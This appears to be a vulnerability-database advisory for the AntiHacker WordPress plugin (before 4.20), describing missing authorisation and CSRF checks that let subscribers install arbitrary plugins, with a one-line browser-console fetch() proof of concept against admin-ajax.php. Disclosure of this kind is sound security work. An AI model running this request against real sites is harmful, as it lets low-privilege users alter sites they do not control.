Lucene search

K
wpvulndbLana CodesWPVDB-ID:24743C72-310F-41E9-AAC9-E05B2BB1A14E
HistoryNov 21, 2022 - 12:00 a.m.

AntiHacker < 4.20 - Subscriber+ Arbitrary Plugin Installation

2022-11-2100:00:00
Lana Codes
wpscan.com
10
antihacker
subscriber
plugin installation
authorization
csrf
ajax action
wordpress
plugin
arbitrary
security issue

EPSS

0.001

Percentile

37.7%

The plugin does not have proper authorisation and CSRF in an AJAX action, allowing any authenticated users, such as subscriber to call it and install and activate arbitrary plugins from wordpress.org

PoC

Run the below command in the developer console of the web browser while being on the blog as a subscriber user to install and activate the classic-editor plugin fetch(‘/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=antihacker_install_plugin&slug;=classic-editor’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));

EPSS

0.001

Percentile

37.7%

Related for WPVDB-ID:24743C72-310F-41E9-AAC9-E05B2BB1A14E